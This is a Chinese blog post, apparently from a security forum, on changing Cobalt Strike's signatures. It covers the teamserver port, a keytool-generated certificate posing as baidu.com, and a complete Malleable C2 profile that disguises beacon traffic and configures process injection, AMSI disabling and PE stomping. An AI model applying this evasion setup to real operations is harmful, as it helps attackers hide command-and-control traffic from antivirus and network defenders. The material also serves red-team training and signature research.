cs修改流量特征

0x00 前言

这段时间在搞内网渗透方面的知识,小声哔哔:才不是ctf打不动了

既然在学内网渗透方向的东西,那就免不了要和网络配置还有msf、cs等的这种内网渗透神器了。但是在学习之间,因为顺便接触了一下免杀,虽然因为自己水平不行,了解了一下就不搞了,但是还是发现了一些问题的。就比如你用cs生成的payload去搞其他的主机,主机上如果有杀软的话,是会给警告的,因为cs的流量特征等的所有信息已经被各大厂商给记死了。

我就在想,有没有办法去修改一下cs的各项特征,让杀软不那么直接识别出来cs。于是就有了这一篇文章的记录

0x01 正文

step 1 修改cs服务端的默认端口

cs默认的服务端口是50050,这也就使得厂商对于这种端口的流量显得格外关注,基本上就是有去无回了,所以对于这个咱们可以修改他的启动服务端的服务端口。具体操作为

vi teamserver

这种类似图中的就可以。此时去启动服务端

启动服务端口已经修改

step 2 修改证书文件特征

在很久很久之前的厂商在上面的基础上会再次验证一下该服务的证书颁发信息,如果有cs特征的信息就会杀掉,在之前的默认证书里面,cs的特征信息还是很明显的

别名: cobaltstrike
创建日期: 2021年12月11日
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
发布者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
序列号: 4625e987
生效时间: Sat Dec 11 22:40:08 CST 2021, 失效时间: Fri Mar 11 22:40:08 CST 2022
证书指纹:
         SHA1: 81:F1:B0:EB:AD:E7:58:E9:80:4F:A1:8A:FF:A1:2E:42:A4:74:F8:75
         SHA256: 9A:DB:44:6C:A6:DC:F6:85:CC:D0:F6:00:D5:0F:CA:6F:57:65:36:D9:71:6A:F4:E1:0D:6A:45:A2:27:FF:02:A5
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥

可以看到好多地方都存在特征信息,所以在这种情况下咱们就可以修改证书的特征信息,这里给出payload

这里可以直接使用Java自带的keytool工具进行证书的颁发,命令格式为
keytool -keystore xxx.store --storepass password -keypass password -genkey -keyalg 加密方式 -alias 别名 -dname "证书颁发机构信息"
这里给出我自己的证书颁发的信息
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

之后就可以看到证书特征信息已经被修改

别名: baidu.com
创建日期: 2021年12月11日
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN
发布者: CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN
序列号: 398cdab0
生效时间: Sat Dec 11 22:43:20 CST 2021, 失效时间: Fri Mar 11 22:43:20 CST 2022
证书指纹:
         SHA1: 6F:42:E3:5A:2C:0B:48:1A:D5:FB:D4:10:37:A2:79:97:AD:89:1F:81
         SHA256: DB:83:41:58:73:99:91:5C:FB:F1:A9:75:F4:F7:CC:8F:7F:6C:3F:79:86:32:BF:4E:07:B8:8E:E1:82:90:CC:B7
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥

step 3 设置混淆配置文件

这个方法是很早之前我一个全栈爷学长给我提到的,当时处于好奇问了爷一个贼sb的问题,爷不知道怎么回答我就给我提到了一个c2插件

这里给出github的链接

https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normal
https://github.com/threatexpress/malleable-c2
这是已经写好的插件的配置,到时间只需要把里面的参数信息修改一下就可以了

cs官网给出的配置文件编写指南
https://www.cobaltstrike.com/help-malleable-c2

官方也给出了一个可修改的配置文件
https://github.com/rsmudge/Malleable-C2-Profiles

这里我当时贼sb,我当时好像脑子抽了,以为可以直接拿来用,就满脸轻松的拿来用,结果就有了下面的结果

以及好多个数不清的尝试,刚开始的我以为是这个插件和我用的cs版本不适配造成的,真天真,人不行就怪路不平,后来去看了一下插件的配置内容才发现,卧槽这™我需要改东西,啊?就很尴尬,还去麻烦了我团队俩web爷问原因,真是菜了,修改了文件里的证书信息以及证书的名字密码之后,还是这些报错,那就直接注释掉,神奇的事情来了,可以了,amazing,真是玄学问题

然后去启动抓包看一下流量

启动命令

./teamserver ip password 配置文件路径

看到流量确实已经改了

然后在这里的话简单说一下配置文件的格式

给一个简单的例子

#This profile is meant to show all of the options available in Malleable C2

#Various options

# Append random-length string (up to data_jitter value) to http-get and http-post server output

set sample_name "Test Profile";
#set data_jitter "0";
set dns_idle "0.0.0.0";
set dns_max_txt "252";
set dns_sleep "0";
set dns_stager_prepend "";
set dns_stager_subhost ".stage.123456.";
set dns_ttl "1";
set host_stage "true"; #Host payload for staging over set, setS, or DNS. Required by stagers.
set jitter "0";
set maxdns "255";
set pipename "msagent_###"; #Default name of pipe to use for SMB Beacon’s peer-to-peer communication. Each # is replaced witha random hex value.
set pipename_stager "status_##";
set sleeptime "60000"; #def sleep in ms
#set smb_frame_header "";
#set ssh_banner "Cobalt Strike 4.2";

#set ssh_pipename "postex_ssh_####";
#set tcp_frame_header "";
set tcp_port "4444";

# Defaults for ALL CS set server responses

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive""timeout=5, max=100";
    header "Connection""Keep-Alive";

#   The set trust_x_forwarded_foroption decides if Cobalt Strike uses the 
# X-Forwarded-For set header to determine the remote address of a request. 
# Use this option if your Cobalt Strike server is behind an set redirector    
    set trust_x_forwarded_for "true";



}

https-certificate {
    set C "CN"; #Country
    set CN "zhongguo"; # CN - you will probably nver use this, but don't leave at localost
    set L "BeiJing"; #Locality
    set OU "CC"; #Org unit
    set O "CCSEC"; #Org name
    set ST "ChaoYang"; #State
    set validity "365";

    # if using a valid vert, specify this, keystore = java keystore
    set keystore "cobaltstrike.store";
    set password "123456";

}

#If you have code signing cert:
#code-signer {
#    set keystore "keystore.jks";
#    set password "password";
#    set alias    "server";
#    set timestamp "false";
#    set timestamp_url "set://timestamp.digicert.com";
#}

#Stager is only supported as a GET request and it will use AFAICT the IE on Windows.
http-stager {
    set uri_x86 "/api/v1/GetLicence";     
    set uri_x64 "/api/v2/GetLicence";
    client {
        parameter "uuid" "96c5f1e1-067b-492e-a38b-4f6290369121";
        #header "headername" "headervalue";
    }
    server {
        header "Content-Type" "application/octet-stream";    
        header "Content-Encoding" "gzip";    
        output {        
            #GZIP headers and footers
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
            #AFAICT print is the only supported terminator
            print;
        }
    }
}

#This is used only in http-get and http-post and not during stage
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";

# define indicators for an set GET
http-get {
    # we require a stub URI to attach the rest of our data to.
    set uri "/api/v1/Updates";

    client {

        header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
        # mask our metadata, base64 encode it, store it in the URI
        metadata {

            # XOR encode the value
            mask;

            # URL-safe Base64 Encode
            #base64url;

            # URL-safe Base64 Encode
            base64;

            # NetBIOS Encode ‘a’ ?
            #netbios;

            #NetBIOS Encode ‘A’
            #netbiosu;

            # You probably want these to be last two, else you will encode these values

            # Append a string to metadata
            append ";" ;

            # Prepend a string
            prepend "SESSION=";
            # Terminator statements - these say where the metadata goes
            # Pick one

            # Append to URI
            #uri-append;


            #Set in a header
            header "Cookie";

            #Send data as transaction body
            #print

            #Store data in a URI parameter
            #parameter "someparam"

        }
    }

    server {
        header "Content-Type" "application/octet-stream";
        header "Content-Encoding" "gzip";
        # prepend some text in case the GET is empty.
        output {
            mask;
            base64;
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";          
            print;
        }
    }
}

# define indicators for an set POST
http-post {
    set uri "/api/v1/Telemetry/Id/";
    set verb "POST";

    client {
        # make it look like we're posting something cool.
        header "Content-Type" "application/json";
        header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";

        # ugh, our data has to go somewhere!
        output {

            mask;
            base64url;
            uri-append;
        }

        # randomize and post our session ID
        id {
            mask;
            base64url;
            prepend "{version: 1, d=\x22";            
            append "\x22}\n";
            print;
        }
    }

    # The server's response to our set POST
    server {
        header "Content-Type" "application/octet-stream";
        header "Content-Encoding" "gzip";

        # post usually sends nothing, so let's prepend a string, mask it, and
        # base64 encode it. We'll get something different back each time.
        output {
            mask;
            base64;
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";          
            print;
        }


    }
}

stage {


#    The transform-x86 and transform-x64 blocks pad and transform Beacon’s
# Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
    transform-x86 {
        prepend "\x90\x90";
        strrep "ReflectiveLoader" "DoLegitStuff";
    }

    transform-x64 {
        # transform the x64 rDLL stage, same options as with 
    }
    stringw "I am not Beacon";

    #set allocator "MapViewOfFile";  # HeapAlloc,MapViewOfFile, and VirtualAlloc. 
    set cleanup "true";        # Ask Beacon to attempt to free memory associated with 
                                # the Reflective DLL package that initialized it.

    # Override the first bytes (MZ header included) of Beacon's Reflective DLL. 
    # Valid x86 instructions are required. Follow instructions that change
    # CPU state with instructions that undo the change.

#    set magic_mz_x86 "MZRE";
#    set magic_mz_x86 "MZAR";

    #set magic_pe "PE";  #Override PE marker with something else

    # Ask the x86 ReflectiveLoader to load the specified library and overwrite
    #  its space instead of allocating memory with VirtualAlloc.
    # Only works with VirtualAlloc
    #set module_x86 "xpsservices.dll";
    #set module_x64 "xpsservices.dll";

    # Obfuscate the Reflective DLL’s import table, overwrite unused header content, 
    # and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
    set obfuscate "false"; 

    # Obfuscate Beacon, in-memory, prior to sleeping
    set sleep_mask "false";

    # Use embedded function pointer hints to bootstrap Beacon agent without 
    # walking kernel32 EAT
    #set smartinject "true";

    # Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after 
    # it loads Beacon payload
    set stomppe "true";

    # Ask ReflectiveLoader to use (true) or avoid RWX permissions (false) for Beacon DLL in memory
    set userwx "false";

    # PE header cloning - see "petool", skipped for now
    #set compile_time "14 Jul 2018 8:14:00";
#    set image_size_x86 "512000";
#    set image_size_x64 "512000";
    set entry_point "92145";

    #The Exported name of the Beacon DLL
    #set name "beacon.x64.dll" 

    #set rich_header  # I don't understand this yet TODO: fixme

    #TODO: add examples process-inject 
}
process-inject {
        # set how memory is allocated in a remote process
        # VirtualAllocEx or NtMapViewOfSection. The
        # NtMapViewOfSection option is for same-architecture injection only. 
        # VirtualAllocEx is always used for cross-arch memory allocations.

        set allocator "VirtualAllocEx";
        # shape the memory characteristics and content
        set min_alloc "16384";
        set startrwx "true";
        set userwx "false";
        transform-x86 {
        prepend "\x90\x90";
        }
        transform-x64 {
        # transform x64 injected content
        }
        # determine how to execute the injected code
        execute {
            CreateThread "ntdll.dll!RtlUserThreadStart";
            SetThreadContext;
            RtlCreateUserThread;
        }
}
post-ex {
    # control the temporary process we spawn to
    set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
    set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # change our post-ex output named pipe names...
    #set pipename "msrpc_####, win\\msrpc_##";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";

    #The thread_hint option allows multi-threaded post-ex DLLs to spawn 
    # threads with a spoofed start address. Specify the thread hint as 
    # “module!function+0x##” to specify the start address to spoof. 
    # The optional 0x## part is an offset added to the start address.
    # set thread_hint "....TODO:FIXME"

    # options are: GetAsyncKeyState (def) or SetWindowsHookEx
    #set keylogger "GetAsyncKeyState";
}

在文件的开头利用set来设置默认值,存在全局和本地两个选项

sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。ua可以通过浏览器抓包进行修改,后面的http-get和http-post一般有着一个通用格式

protocol-transaction {

set local_option "value";

client {

# customize client indicators

}

server {

# customize server indicators

}

}

开头的protocol-transaction即为具体使用的http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。

metadata {

            # XOR encode the value
            mask;

            # URL-safe Base64 Encode
            #base64url;

            # URL-safe Base64 Encode
            base64;

            # NetBIOS Encode ‘a’ ?
            #netbios;

            #NetBIOS Encode ‘A’
            #netbiosu;

            # You probably want these to be last two, else you will encode these values

            # Append a string to metadata
            append ";" ;

            # Prepend a string
            prepend "SESSION=";
            # Terminator statements - these say where the metadata goes
            # Pick one

            # Append to URI
            #uri-append;


            #Set in a header
            header "Cookie";

            #Send data as transaction body
            #print

            #Store data in a URI parameter
            #parameter "someparam"

        }

这里制定了对metadata进行base64编码,Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata

output {
            mask;
            base64;
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";          
            print;
        }

print语句是将data作为transaction的内容进行发送

大概的修改就是按照这样一个简单的逻辑进行修改的,原理就是在通信时对http的流量包进行更改伪造,通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。

总结

cs作为一个神器,需要学的地方还是很多的,以后还是要多进行学习才行

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖